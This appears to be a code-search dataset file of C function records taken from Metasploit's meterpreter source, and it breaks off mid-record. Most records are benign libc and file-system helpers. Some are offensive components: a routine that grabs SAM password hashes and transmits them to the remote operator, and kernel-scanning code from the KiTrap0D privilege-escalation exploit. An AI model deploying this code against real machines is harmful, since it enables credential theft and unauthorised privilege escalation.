packet_add_tlv_string(response, TLV_TYPE_SAM_HASHES, hashes);
} while (0);
packet_transmit_response(res, remote, response);
if (hashes)
free(hashes);
return res;
} | /*
* Grabs the LanMan Hashes from the SAM database.
*/ | Grabs the LanMan Hashes from the SAM database. | [
"Grabs",
"the",
"LanMan",
"Hashes",
"from",
"the",
"SAM",
"database",
"."
] | DWORD request_passwd_get_sam_hashes(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD res = ERROR_SUCCESS;
char *hashes = NULL;
do
{
if (control(120000, &hashes))
{
res = GetLastError();
break;
}
packet_add_tlv_string(response, TLV_TYPE_SAM_HASHES, hashes);
} while (0);
packet_transmit_response(res, remote, response);
if (hashes)
free(hashes);
return res;
} | [
"DWORD",
"request_passwd_get_sam_hashes",
"(",
"Remote",
"*",
"remote",
",",
"Packet",
"*",
"packet",
")",
"{",
"Packet",
"*",
"response",
"=",
"packet_create_response",
"(",
"packet",
")",
";",
"DWORD",
"res",
"=",
"ERROR_SUCCESS",
";",
"char",
"*",
"hashes",
"=",
"NULL",
";",
"do",
"{",
"if",
"(",
"control",
"(",
"120000",
",",
"&",
"hashes",
")",
")",
"{",
"res",
"=",
"GetLastError",
"(",
")",
";",
"break",
";",
"}",
"packet_add_tlv_string",
"(",
"response",
",",
"TLV_TYPE_SAM_HASHES",
",",
"hashes",
")",
";",
"}",
"while",
"(",
"0",
")",
";",
"packet_transmit_response",
"(",
"res",
",",
"remote",
",",
"response",
")",
";",
"if",
"(",
"hashes",
")",
"free",
"(",
"hashes",
")",
";",
"return",
"res",
";",
"}"
] | Grabs the LanMan Hashes from the SAM database. | [
"Grabs",
"the",
"LanMan",
"Hashes",
"from",
"the",
"SAM",
"database",
"."
] | [
"// Get the hashes\r"
] | [
{
"param": "remote",
"type": "Remote"
},
{
"param": "packet",
"type": "Packet"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "remote",
"type": "Remote",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "packet",
"type": "Packet",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
83fe3d2de563df5beadc7ca0fe9a471c7bccf0f6 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/stdlib/exit.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | exit | void | void
exit(int status)
{
/*
* Call functions registered by atexit() or _cxa_atexit()
* (including the stdio cleanup routine) and then _exit().
*/
__cxa_finalize(NULL);
_exit(status);
} | /*
* Exit, flushing stdio buffers if necessary.
*/ | Exit, flushing stdio buffers if necessary. | [
"Exit",
"flushing",
"stdio",
"buffers",
"if",
"necessary",
"."
] | void
exit(int status)
{
__cxa_finalize(NULL);
_exit(status);
} | [
"void",
"exit",
"(",
"int",
"status",
")",
"{",
"__cxa_finalize",
"(",
"NULL",
")",
";",
"_exit",
"(",
"status",
")",
";",
"}"
] | Exit, flushing stdio buffers if necessary. | [
"Exit",
"flushing",
"stdio",
"buffers",
"if",
"necessary",
"."
] | [
"/*\n\t * Call functions registered by atexit() or _cxa_atexit()\n\t * (including the stdio cleanup routine) and then _exit().\n\t */"
] | [
{
"param": "status",
"type": "int"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "status",
"type": "int",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
0a3a68daf2b5d400871f94fbb2f687a0b4407e33 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/bionic/malloc_debug_leak.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | chk_mem_check | int | static int chk_mem_check(void* mem,
size_t* allocated,
const char* func)
{
char* buffer;
size_t offset, bytes;
int i;
char* buf;
/* first check the bytes in the sentinel header */
buf = (char*)mem - CHK_SENTINEL_HEAD_SIZE;
for (i=0 ; i<CHK_SENTINEL_HEAD_SIZE ; i++) {
if (buf[i] != CHK_SENTINEL_VALUE) {
assert_log_message(
"*** %s CHECK: buffer %p "
"corrupted %d bytes before allocation",
func, mem, CHK_SENTINEL_HEAD_SIZE-i);
return -1;
}
}
/* then the ones in the sentinel trailer */
buffer = (char*)mem - CHK_SENTINEL_HEAD_SIZE;
offset = dlmalloc_usable_size(buffer) - sizeof(size_t);
bytes = *(size_t *)(buffer + offset);
buf = (char*)mem + bytes;
for (i=CHK_SENTINEL_TAIL_SIZE-1 ; i>=0 ; i--) {
if (buf[i] != CHK_SENTINEL_VALUE) {
assert_log_message(
"*** %s CHECK: buffer %p, size=%lu, "
"corrupted %d bytes after allocation",
func, buffer, bytes, i+1);
return -1;
}
}
*allocated = bytes;
return 0;
} | /* Check that a given address corresponds to a guarded block,
* and returns its original allocation size in '*allocated'.
* 'func' is the capitalized name of the caller function.
* Returns 0 on success, or -1 on failure.
* NOTE: Does not return if gTrapOnError is set.
*/ | Check that a given address corresponds to a guarded block,
and returns its original allocation size in '*allocated'.
'func' is the capitalized name of the caller function.
Returns 0 on success, or -1 on failure.
NOTE: Does not return if gTrapOnError is set. | [
"Check",
"that",
"a",
"given",
"address",
"corresponds",
"to",
"a",
"guarded",
"block",
"and",
"returns",
"its",
"original",
"allocation",
"size",
"in",
"'",
"*",
"allocated",
"'",
".",
"'",
"func",
"'",
"is",
"the",
"capitalized",
"name",
"of",
"the",
"caller",
"function",
".",
"Returns",
"0",
"on",
"success",
"or",
"-",
"1",
"on",
"failure",
".",
"NOTE",
":",
"Does",
"not",
"return",
"if",
"gTrapOnError",
"is",
"set",
"."
] | static int chk_mem_check(void* mem,
size_t* allocated,
const char* func)
{
char* buffer;
size_t offset, bytes;
int i;
char* buf;
buf = (char*)mem - CHK_SENTINEL_HEAD_SIZE;
for (i=0 ; i<CHK_SENTINEL_HEAD_SIZE ; i++) {
if (buf[i] != CHK_SENTINEL_VALUE) {
assert_log_message(
"*** %s CHECK: buffer %p "
"corrupted %d bytes before allocation",
func, mem, CHK_SENTINEL_HEAD_SIZE-i);
return -1;
}
}
buffer = (char*)mem - CHK_SENTINEL_HEAD_SIZE;
offset = dlmalloc_usable_size(buffer) - sizeof(size_t);
bytes = *(size_t *)(buffer + offset);
buf = (char*)mem + bytes;
for (i=CHK_SENTINEL_TAIL_SIZE-1 ; i>=0 ; i--) {
if (buf[i] != CHK_SENTINEL_VALUE) {
assert_log_message(
"*** %s CHECK: buffer %p, size=%lu, "
"corrupted %d bytes after allocation",
func, buffer, bytes, i+1);
return -1;
}
}
*allocated = bytes;
return 0;
} | [
"static",
"int",
"chk_mem_check",
"(",
"void",
"*",
"mem",
",",
"size_t",
"*",
"allocated",
",",
"const",
"char",
"*",
"func",
")",
"{",
"char",
"*",
"buffer",
";",
"size_t",
"offset",
",",
"bytes",
";",
"int",
"i",
";",
"char",
"*",
"buf",
";",
"buf",
"=",
"(",
"char",
"*",
")",
"mem",
"-",
"CHK_SENTINEL_HEAD_SIZE",
";",
"for",
"(",
"i",
"=",
"0",
";",
"i",
"<",
"CHK_SENTINEL_HEAD_SIZE",
";",
"i",
"++",
")",
"{",
"if",
"(",
"buf",
"[",
"i",
"]",
"!=",
"CHK_SENTINEL_VALUE",
")",
"{",
"assert_log_message",
"(",
"\"",
"\"",
"\"",
"\"",
",",
"func",
",",
"mem",
",",
"CHK_SENTINEL_HEAD_SIZE",
"-",
"i",
")",
";",
"return",
"-1",
";",
"}",
"}",
"buffer",
"=",
"(",
"char",
"*",
")",
"mem",
"-",
"CHK_SENTINEL_HEAD_SIZE",
";",
"offset",
"=",
"dlmalloc_usable_size",
"(",
"buffer",
")",
"-",
"sizeof",
"(",
"size_t",
")",
";",
"bytes",
"=",
"*",
"(",
"size_t",
"*",
")",
"(",
"buffer",
"+",
"offset",
")",
";",
"buf",
"=",
"(",
"char",
"*",
")",
"mem",
"+",
"bytes",
";",
"for",
"(",
"i",
"=",
"CHK_SENTINEL_TAIL_SIZE",
"-",
"1",
";",
"i",
">=",
"0",
";",
"i",
"--",
")",
"{",
"if",
"(",
"buf",
"[",
"i",
"]",
"!=",
"CHK_SENTINEL_VALUE",
")",
"{",
"assert_log_message",
"(",
"\"",
"\"",
"\"",
"\"",
",",
"func",
",",
"buffer",
",",
"bytes",
",",
"i",
"+",
"1",
")",
";",
"return",
"-1",
";",
"}",
"}",
"*",
"allocated",
"=",
"bytes",
";",
"return",
"0",
";",
"}"
] | Check that a given address corresponds to a guarded block,
and returns its original allocation size in '*allocated'. | [
"Check",
"that",
"a",
"given",
"address",
"corresponds",
"to",
"a",
"guarded",
"block",
"and",
"returns",
"its",
"original",
"allocation",
"size",
"in",
"'",
"*",
"allocated",
"'",
"."
] | [
"/* first check the bytes in the sentinel header */",
"/* then the ones in the sentinel trailer */"
] | [
{
"param": "mem",
"type": "void"
},
{
"param": "allocated",
"type": "size_t"
},
{
"param": "func",
"type": "char"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "mem",
"type": "void",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "allocated",
"type": "size_t",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "func",
"type": "char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
3c75271b02a2244118ea5f4acd543dcc7b79b999 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/stdlib/strtoll.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | strtoll | nan | long long
strtoll(const char *nptr, char **endptr, int base)
{
return strtoimax(nptr, endptr, base);
} | /*
* Convert a string to a long long.
*
* Ignores `locale' stuff. Assumes that the upper and lower case
* alphabets and digits are each contiguous.
*/ | Convert a string to a long long.
Ignores `locale' stuff. Assumes that the upper and lower case
alphabets and digits are each contiguous. | [
"Convert",
"a",
"string",
"to",
"a",
"long",
"long",
".",
"Ignores",
"`",
"locale",
"'",
"stuff",
".",
"Assumes",
"that",
"the",
"upper",
"and",
"lower",
"case",
"alphabets",
"and",
"digits",
"are",
"each",
"contiguous",
"."
] | long long
strtoll(const char *nptr, char **endptr, int base)
{
return strtoimax(nptr, endptr, base);
} | [
"long",
"long",
"strtoll",
"(",
"const",
"char",
"*",
"nptr",
",",
"char",
"*",
"*",
"endptr",
",",
"int",
"base",
")",
"{",
"return",
"strtoimax",
"(",
"nptr",
",",
"endptr",
",",
"base",
")",
";",
"}"
] | Convert a string to a long long. | [
"Convert",
"a",
"string",
"to",
"a",
"long",
"long",
"."
] | [] | [
{
"param": "nptr",
"type": "char"
},
{
"param": "endptr",
"type": "char"
},
{
"param": "base",
"type": "int"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "nptr",
"type": "char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "endptr",
"type": "char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "base",
"type": "int",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
ce89dc63028afe62c8cc862b8f502caff447aaf6 | Oxicode/metasploit-framework | external/source/meterpreter/source/extensions/stdapi/server/fs/fs_util.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | fs_expand_path | LPSTR | LPSTR fs_expand_path(LPCSTR regular)
{
#ifdef _WIN32
DWORD expandedFilePathSize = 32768;
LPSTR expandedFilePath = NULL;
do
{
// Expand the file path
if (!(expandedFilePath = (LPSTR)malloc(expandedFilePathSize)))
break;
// Expand the file path being accessed
if (!ExpandEnvironmentStrings(regular, expandedFilePath,
expandedFilePathSize - 1))
{
free(expandedFilePath);
expandedFilePath = 0;
break;
}
expandedFilePath[expandedFilePathSize - 1] = 0;
} while (0);
return expandedFilePath;
#else /* Hack to make it work with existing code under *nix */
char *expandedFilePath;
expandedFilePath = malloc(strlen(regular)+1);
strcpy(expandedFilePath, regular);
return expandedFilePath;
#endif
} | /*
* Returns an expanded file path that must be freed
*/ | Returns an expanded file path that must be freed | [
"Returns",
"an",
"expanded",
"file",
"path",
"that",
"must",
"be",
"freed"
] | LPSTR fs_expand_path(LPCSTR regular)
{
#ifdef _WIN32
DWORD expandedFilePathSize = 32768;
LPSTR expandedFilePath = NULL;
do
{
if (!(expandedFilePath = (LPSTR)malloc(expandedFilePathSize)))
break;
if (!ExpandEnvironmentStrings(regular, expandedFilePath,
expandedFilePathSize - 1))
{
free(expandedFilePath);
expandedFilePath = 0;
break;
}
expandedFilePath[expandedFilePathSize - 1] = 0;
} while (0);
return expandedFilePath;
#else
char *expandedFilePath;
expandedFilePath = malloc(strlen(regular)+1);
strcpy(expandedFilePath, regular);
return expandedFilePath;
#endif
} | [
"LPSTR",
"fs_expand_path",
"(",
"LPCSTR",
"regular",
")",
"{",
"#ifdef",
"_WIN32",
"DWORD",
"expandedFilePathSize",
"=",
"32768",
";",
"LPSTR",
"expandedFilePath",
"=",
"NULL",
";",
"do",
"{",
"if",
"(",
"!",
"(",
"expandedFilePath",
"=",
"(",
"LPSTR",
")",
"malloc",
"(",
"expandedFilePathSize",
")",
")",
")",
"break",
";",
"if",
"(",
"!",
"ExpandEnvironmentStrings",
"(",
"regular",
",",
"expandedFilePath",
",",
"expandedFilePathSize",
"-",
"1",
")",
")",
"{",
"free",
"(",
"expandedFilePath",
")",
";",
"expandedFilePath",
"=",
"0",
";",
"break",
";",
"}",
"expandedFilePath",
"[",
"expandedFilePathSize",
"-",
"1",
"]",
"=",
"0",
";",
"}",
"while",
"(",
"0",
")",
";",
"return",
"expandedFilePath",
";",
"#else",
"char",
"*",
"expandedFilePath",
";",
"expandedFilePath",
"=",
"malloc",
"(",
"strlen",
"(",
"regular",
")",
"+",
"1",
")",
";",
"strcpy",
"(",
"expandedFilePath",
",",
"regular",
")",
";",
"return",
"expandedFilePath",
";",
"#endif",
"}"
] | Returns an expanded file path that must be freed | [
"Returns",
"an",
"expanded",
"file",
"path",
"that",
"must",
"be",
"freed"
] | [
"// Expand the file path\r",
"// Expand the file path being accessed\r",
"/* Hack to make it work with existing code under *nix */"
] | [
{
"param": "regular",
"type": "LPCSTR"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "regular",
"type": "LPCSTR",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
ce89dc63028afe62c8cc862b8f502caff447aaf6 | Oxicode/metasploit-framework | external/source/meterpreter/source/extensions/stdapi/server/fs/fs_util.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | fs_stat | int | int fs_stat(LPCSTR filename, struct meterp_stat *buf) {
struct stat sbuf;
int ret;
ret = stat(filename, &sbuf);
if (ret == 0) {
buf->st_dev = sbuf.st_dev;
buf->st_ino = sbuf.st_ino;
buf->st_mode = sbuf.st_mode;
buf->st_nlink = sbuf.st_nlink;
buf->st_uid = sbuf.st_uid;
buf->st_gid = sbuf.st_gid;
buf->st_rdev = sbuf.st_rdev;
buf->st_size = sbuf.st_size;
buf->st_atime = (unsigned long long)sbuf.st_atime;
buf->st_mtime = (unsigned long long)sbuf.st_mtime;
buf->st_ctime = (unsigned long long)sbuf.st_ctime;
return 0;
} else {
#ifdef _WIN32
return GetLastError();
#else
return errno;
#endif
}
} | /*
* Fills the platform-independent meterp_stat buf with data from the platform-dependent stat()
*/ | Fills the platform-independent meterp_stat buf with data from the platform-dependent stat() | [
"Fills",
"the",
"platform",
"-",
"independent",
"meterp_stat",
"buf",
"with",
"data",
"from",
"the",
"platform",
"-",
"dependent",
"stat",
"()"
] | int fs_stat(LPCSTR filename, struct meterp_stat *buf) {
struct stat sbuf;
int ret;
ret = stat(filename, &sbuf);
if (ret == 0) {
buf->st_dev = sbuf.st_dev;
buf->st_ino = sbuf.st_ino;
buf->st_mode = sbuf.st_mode;
buf->st_nlink = sbuf.st_nlink;
buf->st_uid = sbuf.st_uid;
buf->st_gid = sbuf.st_gid;
buf->st_rdev = sbuf.st_rdev;
buf->st_size = sbuf.st_size;
buf->st_atime = (unsigned long long)sbuf.st_atime;
buf->st_mtime = (unsigned long long)sbuf.st_mtime;
buf->st_ctime = (unsigned long long)sbuf.st_ctime;
return 0;
} else {
#ifdef _WIN32
return GetLastError();
#else
return errno;
#endif
}
} | [
"int",
"fs_stat",
"(",
"LPCSTR",
"filename",
",",
"struct",
"meterp_stat",
"*",
"buf",
")",
"{",
"struct",
"stat",
"sbuf",
";",
"int",
"ret",
";",
"ret",
"=",
"stat",
"(",
"filename",
",",
"&",
"sbuf",
")",
";",
"if",
"(",
"ret",
"==",
"0",
")",
"{",
"buf",
"->",
"st_dev",
"=",
"sbuf",
".",
"st_dev",
";",
"buf",
"->",
"st_ino",
"=",
"sbuf",
".",
"st_ino",
";",
"buf",
"->",
"st_mode",
"=",
"sbuf",
".",
"st_mode",
";",
"buf",
"->",
"st_nlink",
"=",
"sbuf",
".",
"st_nlink",
";",
"buf",
"->",
"st_uid",
"=",
"sbuf",
".",
"st_uid",
";",
"buf",
"->",
"st_gid",
"=",
"sbuf",
".",
"st_gid",
";",
"buf",
"->",
"st_rdev",
"=",
"sbuf",
".",
"st_rdev",
";",
"buf",
"->",
"st_size",
"=",
"sbuf",
".",
"st_size",
";",
"buf",
"->",
"st_atime",
"=",
"(",
"unsigned",
"long",
"long",
")",
"sbuf",
".",
"st_atime",
";",
"buf",
"->",
"st_mtime",
"=",
"(",
"unsigned",
"long",
"long",
")",
"sbuf",
".",
"st_mtime",
";",
"buf",
"->",
"st_ctime",
"=",
"(",
"unsigned",
"long",
"long",
")",
"sbuf",
".",
"st_ctime",
";",
"return",
"0",
";",
"}",
"else",
"{",
"#ifdef",
"_WIN32",
"return",
"GetLastError",
"(",
")",
";",
"#else",
"return",
"errno",
";",
"#endif",
"}",
"}"
] | Fills the platform-independent meterp_stat buf with data from the platform-dependent stat() | [
"Fills",
"the",
"platform",
"-",
"independent",
"meterp_stat",
"buf",
"with",
"data",
"from",
"the",
"platform",
"-",
"dependent",
"stat",
"()"
] | [] | [
{
"param": "filename",
"type": "LPCSTR"
},
{
"param": "buf",
"type": "struct meterp_stat"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "filename",
"type": "LPCSTR",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "buf",
"type": "struct meterp_stat",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
fc8308a67d3f67fb6cd5fb1a9828b8db6e1f16f0 | Oxicode/metasploit-framework | external/source/meterpreter/source/extensions/priv/server/elevate/kitrap0d.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | kitrap0d_scan_kernel | BOOL | BOOL kitrap0d_scan_kernel( PDWORD KernelBase, PDWORD OffsetFromBase )
{
DWORD dwResult = ERROR_SUCCESS;
FARPROC NtQuerySystemInformation = NULL;
HMODULE hKernel = NULL;
HMODULE hNtdll = NULL;
PIMAGE_DOS_HEADER DosHeader = NULL;
PIMAGE_NT_HEADERS PeHeader = NULL;
PIMAGE_OPTIONAL_HEADER OptHeader = NULL;
PBYTE ImageBase = NULL;
HKEY MmHandle = NULL;
OSVERSIONINFO os = {0};
SYSTEM_MODULE_INFORMATION ModuleInfo = {0};
DWORD PhysicalAddressExtensions = 0;
DWORD DataSize = 0;
ULONG i = 0;
ULONG x = 0;
// List of versions we have code signatures for.
enum {
MICROSOFT_WINDOWS_NT4 = 0,
MICROSOFT_WINDOWS_2000 = 1,
MICROSOFT_WINDOWS_XP = 2,
MICROSOFT_WINDOWS_2003 = 3,
MICROSOFT_WINDOWS_VISTA = 4,
MICROSOFT_WINDOWS_2008 = 5,
MICROSOFT_WINDOWS_7 = 6,
} Version = MICROSOFT_WINDOWS_7;
do
{
hNtdll = GetModuleHandle("ntdll");
if( !hNtdll )
BREAK_WITH_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetModuleHandle ntdll failed", ERROR_INVALID_HANDLE );
// NtQuerySystemInformation can be used to find kernel base address
NtQuerySystemInformation = GetProcAddress( hNtdll, "NtQuerySystemInformation" );
if( !NtQuerySystemInformation )
BREAK_WITH_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetProcAddress NtQuerySystemInformation failed", ERROR_INVALID_HANDLE );
// Determine kernel version so that the correct code signature is used
os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );
if( !GetVersionEx( &os ) )
BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx failed" );
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx() => %u.%u", os.dwMajorVersion, os.dwMinorVersion);
if( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 )
Version = MICROSOFT_WINDOWS_NT4;
if( os.dwMajorVersion == 5 && os.dwMinorVersion == 0 )
Version = MICROSOFT_WINDOWS_2000;
if( os.dwMajorVersion == 5 && os.dwMinorVersion == 1 )
Version = MICROSOFT_WINDOWS_XP;
if( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 )
Version = MICROSOFT_WINDOWS_2003;
if( os.dwMajorVersion == 6 && os.dwMinorVersion == 0 )
Version = MICROSOFT_WINDOWS_VISTA;
if( os.dwMajorVersion == 6 && os.dwMinorVersion == 0 )
Version = MICROSOFT_WINDOWS_2008;
if( os.dwMajorVersion == 6 && os.dwMinorVersion == 1 )
Version = MICROSOFT_WINDOWS_7;
// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
NtQuerySystemInformation( SystemModuleInformation, &ModuleInfo, sizeof( ModuleInfo ), NULL );
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. NtQuerySystemInformation() => %s@%p", ModuleInfo.Module[0].ImageName, ModuleInfo.Module[0].Base );
// Load the kernel image specified
hKernel = LoadLibrary( strrchr( ModuleInfo.Module[0].ImageName, '\\' ) + 1 );
if( !hKernel )
BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. LoadLibrary failed" );
// Parse image headers
*KernelBase = (DWORD)ModuleInfo.Module[0].Base;
ImageBase = (PBYTE)hKernel;
DosHeader = (PIMAGE_DOS_HEADER)ImageBase;
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
OptHeader = &PeHeader->OptionalHeader;
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Searching for kernel %u.%u signature: version %d...", os.dwMajorVersion, os.dwMinorVersion, Version );
for( x=0 ; ; x++ )
{
if( CodeSignatures[x].Version == -1 )
break;
if( CodeSignatures[x].Version != Version )
continue;
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Trying signature with index %d", x );
// Scan for the appropriate signature...
for( i = OptHeader->BaseOfCode ; i < OptHeader->SizeOfCode ; i++ )
{
if( memcmp( &ImageBase[i], CodeSignatures[x].Signature, sizeof CodeSignatures[x].Signature ) == 0 )
{
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Signature found %#x bytes from kernel base", i );
*OffsetFromBase = i;
FreeLibrary( hKernel );
return TRUE;
}
}
}
} while( 0 );
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Code not found, the signatures need to be updated for this kernel" );
if( hKernel )
FreeLibrary( hKernel );
return FALSE;
} | /*
* Scan the appropriate kernel image for the correct offset
*/ | Scan the appropriate kernel image for the correct offset | [
"Scan",
"the",
"appropriate",
"kernel",
"image",
"for",
"the",
"correct",
"offset"
] | BOOL kitrap0d_scan_kernel( PDWORD KernelBase, PDWORD OffsetFromBase )
{
DWORD dwResult = ERROR_SUCCESS;
FARPROC NtQuerySystemInformation = NULL;
HMODULE hKernel = NULL;
HMODULE hNtdll = NULL;
PIMAGE_DOS_HEADER DosHeader = NULL;
PIMAGE_NT_HEADERS PeHeader = NULL;
PIMAGE_OPTIONAL_HEADER OptHeader = NULL;
PBYTE ImageBase = NULL;
HKEY MmHandle = NULL;
OSVERSIONINFO os = {0};
SYSTEM_MODULE_INFORMATION ModuleInfo = {0};
DWORD PhysicalAddressExtensions = 0;
DWORD DataSize = 0;
ULONG i = 0;
ULONG x = 0;
enum {
MICROSOFT_WINDOWS_NT4 = 0,
MICROSOFT_WINDOWS_2000 = 1,
MICROSOFT_WINDOWS_XP = 2,
MICROSOFT_WINDOWS_2003 = 3,
MICROSOFT_WINDOWS_VISTA = 4,
MICROSOFT_WINDOWS_2008 = 5,
MICROSOFT_WINDOWS_7 = 6,
} Version = MICROSOFT_WINDOWS_7;
do
{
hNtdll = GetModuleHandle("ntdll");
if( !hNtdll )
BREAK_WITH_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetModuleHandle ntdll failed", ERROR_INVALID_HANDLE );
NtQuerySystemInformation = GetProcAddress( hNtdll, "NtQuerySystemInformation" );
if( !NtQuerySystemInformation )
BREAK_WITH_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetProcAddress NtQuerySystemInformation failed", ERROR_INVALID_HANDLE );
os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );
if( !GetVersionEx( &os ) )
BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx failed" );
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx() => %u.%u", os.dwMajorVersion, os.dwMinorVersion);
if( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 )
Version = MICROSOFT_WINDOWS_NT4;
if( os.dwMajorVersion == 5 && os.dwMinorVersion == 0 )
Version = MICROSOFT_WINDOWS_2000;
if( os.dwMajorVersion == 5 && os.dwMinorVersion == 1 )
Version = MICROSOFT_WINDOWS_XP;
if( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 )
Version = MICROSOFT_WINDOWS_2003;
if( os.dwMajorVersion == 6 && os.dwMinorVersion == 0 )
Version = MICROSOFT_WINDOWS_VISTA;
if( os.dwMajorVersion == 6 && os.dwMinorVersion == 0 )
Version = MICROSOFT_WINDOWS_2008;
if( os.dwMajorVersion == 6 && os.dwMinorVersion == 1 )
Version = MICROSOFT_WINDOWS_7;
NtQuerySystemInformation( SystemModuleInformation, &ModuleInfo, sizeof( ModuleInfo ), NULL );
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. NtQuerySystemInformation() => %s@%p", ModuleInfo.Module[0].ImageName, ModuleInfo.Module[0].Base );
hKernel = LoadLibrary( strrchr( ModuleInfo.Module[0].ImageName, '\\' ) + 1 );
if( !hKernel )
BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. LoadLibrary failed" );
*KernelBase = (DWORD)ModuleInfo.Module[0].Base;
ImageBase = (PBYTE)hKernel;
DosHeader = (PIMAGE_DOS_HEADER)ImageBase;
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
OptHeader = &PeHeader->OptionalHeader;
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Searching for kernel %u.%u signature: version %d...", os.dwMajorVersion, os.dwMinorVersion, Version );
for( x=0 ; ; x++ )
{
if( CodeSignatures[x].Version == -1 )
break;
if( CodeSignatures[x].Version != Version )
continue;
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Trying signature with index %d", x );
for( i = OptHeader->BaseOfCode ; i < OptHeader->SizeOfCode ; i++ )
{
if( memcmp( &ImageBase[i], CodeSignatures[x].Signature, sizeof CodeSignatures[x].Signature ) == 0 )
{
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Signature found %#x bytes from kernel base", i );
*OffsetFromBase = i;
FreeLibrary( hKernel );
return TRUE;
}
}
}
} while( 0 );
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Code not found, the signatures need to be updated for this kernel" );
if( hKernel )
FreeLibrary( hKernel );
return FALSE;
} | [
"BOOL",
"kitrap0d_scan_kernel",
"(",
"PDWORD",
"KernelBase",
",",
"PDWORD",
"OffsetFromBase",
")",
"{",
"DWORD",
"dwResult",
"=",
"ERROR_SUCCESS",
";",
"FARPROC",
"NtQuerySystemInformation",
"=",
"NULL",
";",
"HMODULE",
"hKernel",
"=",
"NULL",
";",
"HMODULE",
"hNtdll",
"=",
"NULL",
";",
"PIMAGE_DOS_HEADER",
"DosHeader",
"=",
"NULL",
";",
"PIMAGE_NT_HEADERS",
"PeHeader",
"=",
"NULL",
";",
"PIMAGE_OPTIONAL_HEADER",
"OptHeader",
"=",
"NULL",
";",
"PBYTE",
"ImageBase",
"=",
"NULL",
";",
"HKEY",
"MmHandle",
"=",
"NULL",
";",
"OSVERSIONINFO",
"os",
"=",
"{",
"0",
"}",
";",
"SYSTEM_MODULE_INFORMATION",
"ModuleInfo",
"=",
"{",
"0",
"}",
";",
"DWORD",
"PhysicalAddressExtensions",
"=",
"0",
";",
"DWORD",
"DataSize",
"=",
"0",
";",
"ULONG",
"i",
"=",
"0",
";",
"ULONG",
"x",
"=",
"0",
";",
"enum",
"{",
"MICROSOFT_WINDOWS_NT4",
"=",
"0",
",",
"MICROSOFT_WINDOWS_2000",
"=",
"1",
",",
"MICROSOFT_WINDOWS_XP",
"=",
"2",
",",
"MICROSOFT_WINDOWS_2003",
"=",
"3",
",",
"MICROSOFT_WINDOWS_VISTA",
"=",
"4",
",",
"MICROSOFT_WINDOWS_2008",
"=",
"5",
",",
"MICROSOFT_WINDOWS_7",
"=",
"6",
",",
"}",
"Version",
"=",
"MICROSOFT_WINDOWS_7",
";",
"do",
"{",
"hNtdll",
"=",
"GetModuleHandle",
"(",
"\"",
"\"",
")",
";",
"if",
"(",
"!",
"hNtdll",
")",
"BREAK_WITH_ERROR",
"(",
"\"",
"\"",
",",
"ERROR_INVALID_HANDLE",
")",
";",
"NtQuerySystemInformation",
"=",
"GetProcAddress",
"(",
"hNtdll",
",",
